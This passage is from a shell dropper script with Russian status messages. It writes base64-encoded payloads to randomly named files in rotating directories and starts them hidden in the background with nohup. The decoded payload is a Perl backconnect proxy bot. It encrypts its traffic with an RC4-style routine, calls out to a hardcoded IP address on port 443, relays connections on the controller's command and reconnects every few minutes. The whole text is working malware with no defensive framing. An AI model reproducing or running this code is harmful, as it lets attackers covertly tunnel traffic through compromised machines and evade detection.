IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #21 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #21 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 22 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr 